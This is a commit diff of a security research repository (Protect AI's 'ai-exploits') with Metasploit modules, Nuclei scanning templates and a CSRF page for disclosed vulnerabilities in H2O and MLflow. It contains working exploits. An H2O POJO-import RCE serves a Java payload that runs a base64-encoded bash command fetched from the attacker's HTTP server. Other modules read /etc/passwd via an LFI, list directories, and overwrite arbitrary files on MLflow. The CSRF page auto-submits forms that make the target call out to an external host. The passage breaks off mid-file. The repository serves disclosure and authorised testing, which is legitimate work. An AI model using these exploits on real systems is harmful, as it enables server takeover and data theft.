Initial commit for release 🗡️

main
byt3bl33d3r 2023-11-16 08:25:48 -08:00
commit f95013b7e9
No known key found for this signature in database
GPG Key ID: 46DE7432598195A6
29 changed files with 2012 additions and 0 deletions

160
.gitignore vendored Normal file
View File

@ -0,0 +1,160 @@
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
*.py,cover
.hypothesis/
.pytest_cache/
cover/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
db.sqlite3-journal
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
.pybuilder/
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
# For a library or package, you might want to ignore these files since the code is
# intended to run in multiple environments; otherwise, check them in:
# .python-version
# pipenv
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
# However, in case of collaboration, if having platform-specific dependencies or dependencies
# having no cross-platform support, pipenv may install dependencies that don't work, or not
# install all needed dependencies.
#Pipfile.lock
# poetry
# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
# This is especially recommended for binary packages to ensure reproducibility, and is more
# commonly ignored for libraries.
# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
#poetry.lock
# pdm
# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
#pdm.lock
# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
# in version control.
# https://pdm.fming.dev/#use-with-ide
.pdm.toml
# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
__pypackages__/
# Celery stuff
celerybeat-schedule
celerybeat.pid
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/
# pytype static type analyzer
.pytype/
# Cython debug symbols
cython_debug/
# PyCharm
# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
# and can be added to the global gitignore or merged into this file. For a more nuclear
# option (not recommended) you can uncomment the following to ignore the entire idea folder.
#.idea/

18
Dockerfile Normal file
View File

@ -0,0 +1,18 @@
FROM golang:latest
RUN apt-get update \
&& apt-get -y install python3 python3-setuptools python3-pip python3-requests
WORKDIR /root
RUN go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
&& chmod 755 msfinstall \
&& ./msfinstall
ENV PYTHONUNBUFFERED 1
ENV PYTHONPATH=/opt/metasploit-framework/embedded/framework/lib/msf/core/modules/external/python
COPY **/msfmodules/*.py /root/.msf4/modules/exploits/protectai/
COPY **/nuclei-templates/*.yaml /root/nuclei-templates/

13
LICENSE Normal file
View File

@ -0,0 +1,13 @@
Copyright [2023] [Protect AI]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

104
README.md Normal file
View File

@ -0,0 +1,104 @@
<div align="center">
# AI Exploits
<img width="250" src="https://github.com/protectai/ai-exploits/assets/5151193/4cd73d59-c97e-4df0-abb0-6a0a558e387e" alt="AI Exploits Logo">
</div>
The AI world has a security problem and it's not just in the inputs given to LLMs such as ChatGPT. Based
on research done by [Protect AI](https://protectai.com) and independent security experts on the [Huntr](https://huntr.com) Bug Bounty Platform, there are far more impactful and practical attacks
against the tools, libraries and frameworks used to build, train, and deploy machine learning models. Many of these
attacks lead to complete system takeovers and/or loss of sensitive data, models, or credentials most often without the need
for authentication.
With the release of this repository, [Protect AI](https://protectai.com) hopes to demystify to the Information Security community what pratical attacks against AI/Machine Learning infrastructure look like in the real world and raise awareness to the amount of vulnerable components that currently exist in the AI/ML ecosystem.
## Overview
This repository, **ai-exploits**, is a collection of exploits and scanning templates for responsibly disclosed vulnerabilities affecting machine learning tools.
Each vulnerable tool has a number of subfolders containing three types of utilities: [Metasploit](https://github.com/rapid7/metasploit-framework) modules, [Nuclei](https://github.com/projectdiscovery/nuclei) templates
and CSRF templates. Metasploit modules are for security professionals looking to exploit the vulnerabilies and Nuclei templates are for scanning a large number of remote servers to determine if they're vulnerable.
## Setup & Usage
The easiest way to use the modules and scanning templates is to build and run the Docker image provided by the `Dockerfile` in this repository. The Docker image will have Metasploit and Nuclei already installed along with all the necessary configuration.
### Docker
1. Build the image:
```bash
docker build -t protectai/ai-exploits https://github.com/protectai/AI-exploits
```
2. Run the docker image:
```bash
docker run -it --rm protectai/ai-exploits /bin/bash
```
The latter command will drop you into a `bash` session in the container with `msfconsole` and `nuclei` ready to go.
### Using the Metasploit Modules
#### With Docker
Start the Metasploit console (the new modules will be available under the `exploits/protectai` category), load a module, set the options, and run the exploit.
```bash
msfconsole
msf6 > use exploit/protectai/ray_job_rce
msf6 exploit(protectai/ray_job_rce) > set RHOSTS <target IP>
msf6 exploit(protectai/ray_job_rce) > run
```
#### With Metasploit Installed Locally
Create a folder `~/.msf4/modules/exploits/protectai` and copy the exploit modules into it.
```bash
mkdir -p ~/.msf4/modules/exploits/protectai
cp ai-exploits/ray/msfmodules/* ~/.msf4/modules/exploits/protectai
msfconsole
msf6 > use exploit/protectai/<exploit_name.py>
```
### Using Nuclei Templates
Nuclei is a vulnerability scanning engine which can be used to scan large numbers of servers for known vulnerabilities in web applications and networks.
Navigate to nuclei templates folder such as `ai-exploits/mlflow/nuclei-templates`. In the Docker container these are stored in the `/root/nuclei-templates` folder. Then simply point to the template file and the target server.
```
cd ai-exploits/mlflow/nuclei-templates
nuclei -t mlflow-lfi.yaml -u http://<target>:<port>`
```
### Using CSRF Templates
Cross-Site Request Forgery (CSRF) vulnerabilities enable attackers to stand up a web server hosting a malicious HTML page
that will execute a request to the target server on behalf of the victim. This is a common attack vector for exploiting
vulnerabilities in web applications, including web applications which are only exposed on the localhost interface and
not to the broader network. Below is a simple demo example of how to use a CSRF template to exploit a vulnerability in a
web application.
Start a web server in the csrf-templates folder. Python allows one to stand up a simple web server in any
directory. Navigate to the template folder and start the server.
```bash
cd ai-exploits/ray/csrf-templates
python3 -m http.server 9999
```
Now visit the web server address you just stood up (http://127.0.0.1:9999) and hit F12 to open
the developer tools, then click the Network tab. Click the link to ray-cmd-injection-csrf.html. You should see that
the browser sent a request to the vulnerable server on your behalf.
## Contribution Guidelines
We welcome contributions to this repository. Please read our [Contribution Guidelines](CONTRIBUTING.md) for more information on how to contribute.
## License
This project is licensed under the [Apache 2.0 License](LICENSE).

60
h2o/README.md Normal file
View File

@ -0,0 +1,60 @@
# H2O Vulnerabilities and Exploits
## Overview
H2O-3 is a low-code machine learning platform that enables data scientists and analysts to build and deploy machine
learning models using an easy web interface by just importing their data. A default, out of the box installation has no
authentication and is exposed to the network.
## Vulnerabilities
### CSRF (Cross-Site Request Forgery)
- **Description**: H2O is vulnerable to CSRF due to the lack of proper CSRF protection. Attackers can exploit this vulnerability to perform unwanted actions on a web application in which the user is currently authenticated.
- **Impact**: This could lead to unauthorized actions being taken on behalf of the authenticated user.
### RCE (Remote Code Execution)
- **Description**: H2O allows the importation of POJO models which are Java code objects. This can be exploited to execute arbitrary Java code on the server, leading to Remote Code Execution (RCE).
- **Impact**: Since H2O does not require authentication by default and is exposed to the network, it can be compromised remotely, allowing an attacker to take full control of the server.
### LFI (Local File Inclusion)
- **Description**: There is a Local File Inclusion (LFI) vulnerability in H2O, where a remote API call can be made to read the entire file system on the server.
- **Impact**: This vulnerability allows an attacker to read sensitive files from the server, leading to information disclosure and potentially further exploitation.
## Utilities
### Metasploit Modules
- **h2o_pojo_import_rce**: Exploits the RCE vulnerability to gain a remote shell on the server.
- **h2o_importfiles_lfi**: Exploits the LFI vulnerability to read files from the server's file system.
- **h2o_typeahead_api**: Exploits the ability of H2O to list files and folders on the vulnerable server.
### CSRF Template
- **h2o-rce-csrf** - A pre-crafted HTML template that can be used to demonstrate the CSRF to RCE vulnerability in H2O.
### Nuclei Template
- **h2o-importfiles-lfi**: Identifies LFI vulnerabilities through the import files functionality in H2O.
- **h2o-apl**: Scans for the arbitrary path lookup endpoints in H2O.
- **h2o-dashboard**: Looks for H2O dashboard endpoints that may be unprotected.
- **h2o-pojo-rce**: Scans for the RCE vulnerability via POJO model importation in H2O.
## Reports
- **@DanMcInerney** - https://huntr.com/bounties/380fce33-fec5-49d9-a101-12c972125d8c/
- **@p0cas** - https://huntr.com/bounties/9881569f-dc2a-437e-86b0-20d4b70ae7af/
- **Sierra Haex** - https://huntr.com/bounties/83dd17ec-053e-453c-befb-7d6736bf1836/
## Disclaimer
The vulnerabilities and associated exploits provided in this repository are for educational and ethical security testing purposes only.
## Contribution
Contributions to improve the exploits or documentation are welcome.
## License
All exploits and templates in this repository are released under the Apache 2.0 License.

View File

@ -0,0 +1,31 @@
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost:54321/3/ModelBuilders/generic/parameters" method="POST">
<input type="hidden" name="model&#95;id" value="generic&#45;68510df2&#45;f19a&#45;4871&#45;8285&#45;9321a7ef6d51" />
<input type="submit" value="Submit request" />
</form>
<form action="http://localhost:54321/3/ModelBuilders/generic/parameters" method="POST">
<input type="hidden" name="model&#95;id" value="generic&#45;68510df2&#45;f19a&#45;4871&#45;8285&#45;9321a7ef6d51" />
<input type="hidden" name="path" value="http&#58;&#47;&#47;8y7xrazsiuejf3d8u775uhspdgj77yvn&#46;oastify&#46;com" />
<input type="submit" value="Submit request" />
</form>
<form action="http://localhost:54321/3/ModelBuilders/generic/parameters" method="POST">
<input type="hidden" name="model&#95;id" value="generic&#45;68510df2&#45;f19a&#45;4871&#45;8285&#45;9321a7ef6d51" />
<input type="hidden" name="path" value="http&#58;&#47;&#47;8y7xrazsiuejf3d8u775uhspdgj77yvn&#46;oastify&#46;com" />
<input type="submit" value="Submit request" />
</form>
<form action="http://localhost:54321/3/ModelBuilders/generic" method="POST">
<input type="hidden" name="model&#95;id" value="generic&#45;68510df2&#45;f19a&#45;4871&#45;8285&#45;9321a7ef6d51" />
<input type="hidden" name="path" value="http&#58;&#47;&#47;8y7xrazsiuejf3d8u775uhspdgj77yvn&#46;oastify&#46;com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
document.forms[1].submit();
document.forms[2].submit();
document.forms[3].submit();
</script>
</body>
</html>

View File

@ -0,0 +1,100 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
# standard modules
import logging
# extra modules
dependencies_missing = False
try:
import requests
from requests import Request, Session
except ImportError:
dependencies_missing = True
from metasploit import module
metadata = {
'name': 'H2O arbitrary file read',
'description': '''
H2O is vulnerable to an local file include in it's ImportFiles API endpoint
''',
'authors': [
'byt3bl33d3r <marcello@protectai.com>',
'danmcinerney <dan@protectai.com>'
],
'rank': 'excellent',
'date': '2023-11-15',
'license': 'MSF_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://huntr.com/bounties/83dd8619-6dc3-4c98-8f1b-e620fedcd1f6/'},
{'type': 'cve', 'ref': 'CVE-2023-6038'}
],
'type': 'single_scanner',
'options': {
'filepath': {'type': 'string', 'description': 'File to read', 'required': True, 'default': '/etc/passwd'},
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 54321},
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False}
}
}
def convert_args_to_correct_type(args):
'''
Utility function to correctly "cast" the modules options to their correct types according to the options.
When a module is run using msfconsole, the module args are all passed as strings
so we need to convert them manually. I'd use pydantic but want to avoid extra deps.
'''
corrected_args = {}
for k,v in args.items():
option_to_convert = metadata['options'].get(k)
if option_to_convert:
type_to_convert = metadata['options'][k]['type']
if type_to_convert == 'bool':
if isinstance(v, str):
if v.lower() == 'false':
corrected_args[k] = False
elif v.lower() == 'true':
corrected_args[k] = True
if type_to_convert == 'port':
corrected_args[k] = int(v)
return {**args, **corrected_args}
def run(args):
args = convert_args_to_correct_type(args)
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
logging.debug(args)
if dependencies_missing:
logging.error('Module dependency (requests) is missing, cannot continue')
return
try:
base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}"
s = Session()
r = s.get(f"{base_url}/3/ImportFiles", params={"path": args["filepath"]})
logging.debug(r.url)
r = s.post(f"{base_url}/3/ParseSetup", data={"source_frames": f"nfs:/{args['filepath']}"})
logging.debug(r.url)
logging.debug(f"{r.status_code} - {len(r.text)}")
except requests.exceptions.RequestException as e:
logging.error(str(e))
return
file_content = '\n'.join([ d[0] for d in r.json()['data'] ])
logging.info(file_content)
if __name__ == '__main__':
module.run(metadata, run)

View File

@ -0,0 +1,192 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
# standard modules
import logging
import threading
import base64
import socket
import uuid
import time
from http.server import SimpleHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse
from metasploit import module
# extra modules
dependencies_missing = False
try:
import requests
from requests import Session
except ImportError:
dependencies_missing = True
metadata = {
'name': 'H2O POJO model import RCE',
'description': '''
RCE in H2O dashboard by (ab)using it's POJO Model import feature
''',
'authors': [
'sierrabearchell'
'byt3bl33d3r <marcello@protectai.com>',
],
'rank': 'excellent',
'date': '2023-11-15',
'license': 'MSF_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://huntr.com/bounties/83dd17ec-053e-453c-befb-7d6736bf1836/'},
{'type': 'cve', 'ref': 'CVE-2023-6018'}
],
'type': 'remote_exploit_cmd_stager',
'targets': [
{'platform': 'linux', 'arch': 'x64'},
{'platform': 'linux', 'arch': 'x86'}
],
'payload': {
'command_stager_flavor': 'wget'
},
'options': {
'command': {'type': 'string', 'description': 'The command to execute', 'required': True, 'default': 'touch /tmp/HACKED'},
'serverport': {'type': 'port', 'description': 'HTTP server port to bind to', 'required': True, 'default': 8081},
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 54321},
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False}
}
}
POJO_PAYLOAD = '''
public class gbm_pojo {{
public gbm_pojo() {{
try {{
String command = "bash -c {{echo,{}}}|{{base64,-d}}|{{bash,-i}}" ;
Process proc = Runtime.getRuntime().exec(command);
}} catch (Exception e) {{
e.printStackTrace();
}}
}}
}}
'''
class H2OExploitHandler(SimpleHTTPRequestHandler):
MSF_ARGS = None
RETRIEVED = False
@property
def url(self):
return urlparse(self.path)
def do_GET(self) -> None:
self.send_response(200)
#self.send_header("Content-Type", "application/json")
self.end_headers()
if self.url.path == "/gbm_pojo.java":
logging.info("H2O asked for POJO file!")
b64_command = base64.b64encode(H2OExploitHandler.MSF_ARGS['command'].encode())
bad_pojo = POJO_PAYLOAD.format(b64_command.decode())
logging.debug(bad_pojo)
self.wfile.write(bad_pojo.encode())
H2OExploitHandler.RETRIEVED = True
def convert_args_to_correct_type(args):
'''
Utility function to correctly "cast" the modules options to their correct types according to the options.
When a module is run using msfconsole, the module args are all passed as strings
so we need to convert them manually. I'd use pydantic but want to avoid extra deps.
'''
corrected_args = {}
for k,v in args.items():
option_to_convert = metadata['options'].get(k)
if option_to_convert:
type_to_convert = metadata['options'][k]['type']
if type_to_convert == 'bool':
if isinstance(v, str):
if v.lower() == 'false':
corrected_args[k] = False
elif v.lower() == 'true':
corrected_args[k] = True
if type_to_convert == 'port':
corrected_args[k] = int(v)
return {**args, **corrected_args}
def trigger_rce(session, base_url, callback_url):
model_id = f"generic-{uuid.uuid4()}"
logging.info(f"Attempting to register model '{model_id}'...")
session.post(f"{base_url}/3/ModelBuilders/generic/parameters", data = {'model_id': model_id})
#logging.info('Asking H2O-3 to retrieve the model from our webserver...')
#session.post(f"{base_url}/3/ModelBuilders/generic/parameters", data = {'model_id': model_id, 'path': callback_url})
#logging.info('Asking H2O-3 to retrieve the model from our webserver (2/2)...')
#session.post(f"{base_url}/3/ModelBuilders/generic/parameters", data = {'model_id': model_id, 'path': callback_url})
logging.info('Triggering the retrieval, compilation & execution of the malicious model')
r = session.post(f"{base_url}/3/ModelBuilders/generic", data = {'model_id': model_id, 'path': callback_url})
return r
def run(args):
args = convert_args_to_correct_type(args)
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
logging.debug(args)
if dependencies_missing:
logging.error('Module dependency (requests) is missing, cannot continue')
return
server_ip = socket.gethostbyname(socket.gethostname())
server_port = args['serverport']
H2OExploitHandler.MSF_ARGS = args
server = HTTPServer(
(server_ip, server_port),
H2OExploitHandler
)
logging.info(f"Starting HTTP Server on {server_ip}:{server_port}")
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()
try:
base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}"
s = Session()
s.hooks = {
'response': lambda r, *args, **kwargs: r.raise_for_status()
}
r = trigger_rce(s, base_url, f"http://{server_ip}:{server_port}/gbm_pojo.java")
except requests.exceptions.HTTPError as e:
logging.debug(f"{r.status_code} - body length: {len(r.text)}")
logging.error(str(e))
return
wait_loops = 0
while wait_loops < 5:
if H2OExploitHandler.RETRIEVED:
break
logging.info(f"Waiting on POJO retrieval ({wait_loops}/5)")
time.sleep(0.5)
wait_loops += 1
job_data = r.json()
logging.info(f"Exploit succeeded (Job ID: {job_data['job']['key']['name']})")
#logging.info(job_data)
if __name__ == '__main__':
module.run(metadata, run)

View File

@ -0,0 +1,96 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
# standard modules
import logging
# extra modules
dependencies_missing = False
try:
import requests
from requests import Request, Session
except ImportError:
dependencies_missing = True
from metasploit import module
metadata = {
'name': 'H2O arbitrary path lookup',
'description': '''
H2O allows for arbitrary path lookup via it's Typehead API endpoint
''',
'authors': [
'byt3bl33d3r <marcello@protectai.com>',
'danmcinerney <dan@protectai.com>'
],
'rank': 'excellent',
'date': '2023-11-15',
'license': 'MSF_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://huntr.com/bounties/e76372c2-39be-4984-a7c8-7048a75a25dc'},
#{'type': 'cve', 'ref': ''}
],
'type': 'single_scanner',
'options': {
'path': {'type': 'string', 'description': 'Filepath to list directory contents', 'required': True, 'default': '.'},
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 54321},
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False}
}
}
def convert_args_to_correct_type(args):
'''
Utility function to correctly "cast" the modules options to their correct types according to the options.
When a module is run using msfconsole, the module args are all passed as strings
so we need to convert them manually. I'd use pydantic but want to avoid extra deps.
'''
corrected_args = {}
for k,v in args.items():
option_to_convert = metadata['options'].get(k)
if option_to_convert:
type_to_convert = metadata['options'][k]['type']
if type_to_convert == 'bool':
if isinstance(v, str):
if v.lower() == 'false':
corrected_args[k] = False
elif v.lower() == 'true':
corrected_args[k] = True
if type_to_convert == 'port':
corrected_args[k] = int(v)
return {**args, **corrected_args}
def run(args):
args = convert_args_to_correct_type(args)
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
logging.debug(args)
if dependencies_missing:
logging.error('Module dependency (requests) is missing, cannot continue')
return
try:
base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}"
r = requests.get(f"{base_url}/3/Typeahead/files", params={"src": args['path'], "limit": 10})
r.raise_for_status()
except requests.exceptions.RequestException as e:
logging.error(str(e))
return
logging.info(f"Directory Contents: \n{chr(10).join(r.json()['matches']) }")
if __name__ == '__main__':
module.run(metadata, run)

View File

@ -0,0 +1,31 @@
id: h2o-arbitrary-path-lookup
info:
name: H2O arbitrary path lookup
author: danmcinerney (Vuln Discovery), byt3bl33d3r (Nuclei Template)
severity: medium
description: H2O allows for arbitrary path lookup via it's Typehead API endpoint
reference:
- https://huntr.com/bounties/e76372c2-39be-4984-a7c8-7048a75a25dc/
classification:
cwe-id: CWE-200
tags: h2o-3,h2o,ml,huntr,protectai
http:
- raw:
- |
GET /3/Typeahead/files?src=%2F&limit=10 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- "/bin"
- "/boot"
- "/sbin"

View File

@ -0,0 +1,37 @@
id: h2o-dashboard
info:
name: H2O Dashboard Exposure
author: byt3bl33d3r
severity: high
description: H2o dashboard by default has no authentication and can lead to RCE on the host.
metadata:
shodan-query: title:"H2O Flow"
tags: misconfig,exposure,h2o,ml,huntr,protectai
http:
- method: GET
path:
- "{{BaseURL}}"
redirects: true
max-redirects: 1
matchers-condition: and
matchers:
- type: word
part: header
words:
- "X-H2o-Build-Project-Version"
- "X-H2o-Cluster-Good"
- "X-H2o-Cluster-Id"
- "X-H2o-Rest-Api-Version-Max"
condition: and
- type: word
part: body
words:
- "H2O Flow"
- type: status
status:
- 200

View File

@ -0,0 +1,37 @@
id: h2o-importfiles-lfi
info:
name: H2O ImportFiles LFI
author: danmcinerney (Vuln Discovery), byt3bl33d3r (Nuclei Template)
severity: high
description: H2O is vulnerable to an local file include in it's ImportFiles API endpoint
reference:
- https://huntr.com/bounties/380fce33-fec5-49d9-a101-12c972125d8c/
classification:
cvss-score: 8.6
cve-id: CVE-2023-6038
cwe-id: CWE-29
tags: h2o-3,h2o,ml,cve,protectai,huntr
http:
- raw:
- |
GET /3/ImportFiles?path=%2Fetc%2Fpasswd HTTP/1.1
Host: {{Hostname}}
- |
POST /3/ParseSetup HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
source_frames=%5B%22nfs%3A%2F%2Fetc%2Fpasswd%22%5D
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200

View File

@ -0,0 +1,50 @@
id: h2o-pojo-import-rce
info:
name: H2O RCE via POJO Model import
author: Sierra Bearchell (Vuln Discovery), byt3bl33d3r (Nuclei Template)
severity: critical
description: RCE in H2O dashboard by (ab)using it's POJO Model import feature
reference:
- https://huntr.com/bounties/83dd17ec-053e-453c-befb-7d6736bf1836/
classification:
cvss-score: 10
cve-id: CVE-2023-6018
cwe-id: CWE-78
tags: h2o-3,h2o,cve,ml,protectai,huntr
http:
- raw:
- |
POST /3/ModelBuilders/generic/parameters HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
model_id=generic-68510df2-f19a-4871-8285-9321a7ef6d51
- |
POST /3/ModelBuilders/generic/parameters HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
model_id=generic-68510df2-f19a-4871-8285-9321a7ef6d51&path=http%3A%2F%2F93{{interactsh-url}}
- |
POST /3/ModelBuilders/generic/parameters HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
model_id=generic-68510df2-f19a-4871-8285-9321a7ef6d51&path=http%3A%2F%2F93{{interactsh-url}}
- |
POST /3/ModelBuilders/generic HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
model_id=generic-68510df2-f19a-4871-8285-9321a7ef6d51&path=http%3A%2F%2F93{{interactsh-url}}
matchers:
- type: word
part: interactsh_protocol # Confirms http Interaction
words:
- "http"

47
mlflow/README.md Normal file
View File

@ -0,0 +1,47 @@
# MLflow Vulnerabilities and Exploits
## Overview
MLflow is an open-source platform for managing the end-to-end machine learning lifecycle. It includes tools for tracking experiments, packaging code into reproducible runs, and sharing and deploying models. By default, MLflow lacks authentication.
## Vulnerabilities
### Arbitrary File Write
- **Description**: MLflow is vulnerable to unauthorized file writes through its artifact logging API. This can be exploited by an attacker to write files to arbitrary locations on the server hosting MLflow.
- **Impact**: This vulnerability could allow an attacker to overwrite system files or place malicious files on the server, potentially leading to code execution or other malicious activities. Example would be overwriting the SSH keys to gain access to the server.
### LFI (Local File Inclusion)
- **Description**: MLflow's API for retrieving model versions and registered models does not properly sanitize user input, leading to LFI vulnerabilities. This allows an attacker to read files from the server's filesystem.
- **Impact**: Attackers can exploit this to read sensitive files from the server, potentially leading to information disclosure and system compromise.
## Utilities
### Metasploit Modules
- **mlflow_file_write**: Exploits the arbitrary file write vulnerability to write files on the server.
### Nuclei Templates
- **mlflow-file-write**: Scans for vulnerabilities that allow unauthorized file writes in MLflow.
- **mlflow-model-versions-lfi**: Detects Local File Inclusion vulnerabilities in MLflow's model versions endpoint.
## Reports
- **@DanMcInerney** - https://huntr.com/bounties/1fe8f21a-c438-4cba-9add-e8a5dab94e28/
- **@kevin-mizu** - https://huntr.com/bounties/7cf918b5-43f4-48c0-a371-4d963ce69b30/
- **Sierra Haex** - https://huntr.com/bounties/3e64df69-ddc2-463e-9809-d07c24dc1de4/
- **@haxatron** - https://huntr.com/bounties/43e6fb72-676e-4670-a225-15d6836f65d3/
- **@DanMcInerney** - https://huntr.com/bounties/ae92f814-6a08-435c-8445-eec0ef4f1085/
## Disclaimer
The vulnerabilities and associated exploits provided in this repository are for educational and ethical security testing purposes only.
## Contribution
Contributions to improve the exploits or documentation are welcome. Please follow the contributing guidelines outlined in the repository.
## License
All exploits and templates in this repository are released under the Apache 2.0 License.

View File

@ -0,0 +1,181 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
# standard modules
import logging
import random
import string
import json
import socket
import threading
from http.server import SimpleHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse
# extra modules
dependencies_missing = False
try:
import requests
from requests import Request, Session
except ImportError:
dependencies_missing = True
from metasploit import module
metadata = {
'name': 'MLFlow arbitrary file overwrite',
'description': '''
MLFlow before X is vulnerable to a arbitrary file overwrite.
''',
'authors': [
'Kevin Mizu <@kevin_mizu>'
'byt3bl33d3r <marcello@protectai.com>',
],
'rank': 'excellent',
'date': '2023-11-15',
'license': 'MSF_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://huntr.com/bounties/7cf918b5-43f4-48c0-a371-4d963ce69b30/'},
{'type': 'cve', 'ref': 'CVE-2023-6018'}
],
'type': 'single_scanner',
'options': {
'localfilepath': {'type': 'string', 'description': 'Local path with content to overwrite on target (cannot be used with filecontents option)', 'required': False, 'default': None},
'remotefilepath': {'type': 'string', 'description': 'File to overwrite', 'required': True, 'default': '/tmp/HACKED'},
'filecontents': {'type': 'string', 'description': 'File content to overwrite (cannot be used with localfilepath option)', 'required': False, 'default': None},
'serverport': {'type': 'port', 'description': 'HTTP server port to bind to', 'required': True, 'default': 4444},
#'serverip': {'type': 'string', 'description': 'HTTP server ip to bind to', 'required': True, 'default': socket.gethostbyname(socket.gethostname()) },
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 5000},
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False}
}
}
def convert_args_to_correct_type(args):
'''
Utility function to correctly "cast" the modules options to their correct types according to the options.
When a module is run using msfconsole, the module args are all passed as strings
so we need to convert them to their correct types manually. I'd use pydantic but want to avoid extra deps.
'''
corrected_args = {}
for k,v in args.items():
option_to_convert = metadata['options'].get(k)
if option_to_convert:
type_to_convert = metadata['options'][k]['type']
if type_to_convert == 'bool':
if isinstance(v, str):
if v.lower() == 'false':
corrected_args[k] = False
elif v.lower() == 'true':
corrected_args[k] = True
if type_to_convert == 'port':
corrected_args[k] = int(v)
return {**args, **corrected_args}
class MLFlowExploitRequestHandler(SimpleHTTPRequestHandler):
MSF_ARGS = None
#def __init__(self, msf_args, *args, **kwargs) -> None:
# self.msf_args = msf_args
# logging.info(f"Started HTTP Server")
# super().__init__(args, kwargs)
@property
def url(self):
return urlparse(self.path)
def do_GET(self):
payload = {
"files": [
{
"path": MLFlowExploitRequestHandler.MSF_ARGS["remotefilepath"],
"is_dir": False,
"file_size": 50
}
]
}
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
if '/api/2.0/mlflow-artifacts/artifacts' == self.url.path:
logging.info("Received callback for file path")
self.wfile.write(json.dumps(payload).encode())
else:
logging.info("Received callback for file contents")
self.wfile.write(MLFlowExploitRequestHandler.MSF_ARGS["filecontents"].encode())
def random_model_name_generator():
